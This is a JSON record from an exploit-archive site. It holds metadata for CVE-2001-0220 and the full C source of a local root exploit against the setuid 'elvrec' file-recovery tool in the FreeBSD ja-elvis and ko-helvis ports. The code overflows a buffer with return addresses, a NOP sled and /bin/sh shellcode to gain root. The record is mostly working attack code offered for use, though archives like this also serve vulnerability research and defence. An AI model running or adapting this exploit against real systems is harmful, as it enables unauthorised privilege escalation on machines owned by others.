{"exploit":{"id":"EDB-287","name":"FreeBSD 3.5.1/4.2 - Ports Package 'elvrec' Local Privilege Escalation (LPE)","description":"FreeBSD 3.5.1/4.2 - Ports Package 'elvrec' Local Privilege Escalation (LPE)","cves":["CVE-2001-0220"],"author":"dethy","published":"2001-03-03","platform":"bsd","type":"local","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/287","path":"exploits/bsd/local/287.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-287.c","vulnerabilities":[{"id":"CVE-2001-0220","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in ja-elvis and ko-helvis ports of elvis allow local users to gain root privileges.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2001-0220","cvss":{"version":"2.0","baseScore":7.2,"severity":"high","vectorString":"AV:L/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2001-0220"},"updatedAt":"2024-08-08T04:14:06.706Z","retrievedAt":"2026-11-26T13:06:09.226Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-287.png?v=2","url":"https://exploitbin.com/exploits/EDB-287","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-287/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-287/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n * ja-elvis & ko-helvis - FreeBSD 3.5.1 & 4.2 ports package local root exploit\n *\n * vulnerable: versions prior to ja-elvis-1.8.4_1 and ko-helvis-1.8h2_1\n *\n * The above two packages contain a file recovery utility 'elvrec', installed\n * suid root(4755) by default. The utility is subject to a buffer overflow\n * leading to root privileges:\n *\n * Usage: ./elvwreck <offset> <alignment>\n *\n * dethy@synnergy.net // www.synnergy.net\n * 28 Feb 2001.\n *\n */\n\n#include <stdio.h>\n#include <stdlib.h>\n#define PROG\t\"/usr/local/bin/elvrec\"\n#define VULN\t608\n#define BSIZE\t1024\n#define NOP\t0x90\n#define ESP\t0xbfbff92c\t// FreeBSD 4.2\n#define OFFSET\t0\n#define EATME\t1\t\t// byte alignment\n\nchar shellcode[]=\n  \"\\xeb\\x37\\x5e\\x31\\xc0\\x88\\x46\\xfa\\x89\\x46\\xf5\\x89\\x36\\x89\\x76\"\n  \"\\x04\\x89\\x76\\x08\\x83\\x06\\x10\\x83\\x46\\x04\\x18\\x83\\x46\\x08\\x1b\"\n  \"\\x89\\x46\\x0c\\x88\\x46\\x17\\x88\\x46\\x1a\\x88\\x46\\x1d\\x50\\x56\\xff\"\n  \"\\x36\\xb0\\x3b\\x50\\x90\\x9a\\x01\\x01\\x01\\x01\\x07\\x07\\xe8\\xc4\\xff\"\n  \"\\xff\\xff\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\\x02\"\n  \"\\x02\\x02\\x02/bin/sh.-c.sh\";\n\nint main(int argc, char *argv[]) {\n  char buffer[BSIZE];\n  long address=ESP;\n  int i, offset, align;\n\n  if(argc > 1) { offset = atoi(argv[1]); align = atoi(argv[2]); }\n  else { offset = OFFSET; align = EATME; }\n\n  address += offset;\n  fprintf(stderr, \"\\n* using ret %#x -> align %d -> offset %d\\n\\n\", address, align, offset);\n\n  for(i=align; i<VULN; i+=4){ *(long *)&buffer[i] = address; }\n  for(i=VULN; i<(BSIZE - strlen(shellcode) - 100); i++){ buffer[i] = NOP; }\n  memcpy(buffer+i, shellcode, strlen(shellcode));\n  buffer[BSIZE] = '\\0';\n\n  if(execlp(PROG, \"elvrec\", buffer, 0)) {\n    fprintf(stderr, \"Unable to execute %s\\n\\n\", PROG);\n    exit(1);\n  }\n}\n\n\n// milw0rm.com [2001-03-03]","sha256":"39592eaf6363d596acccc9dda1e75f6f55bc3da5fc7f87eddfbabf97c8ddcfc3","bytes":1739,"fetchedAt":"2026-11-26T13:06:07.043Z","encoding":"utf-8 (display only; download retains original bytes)"}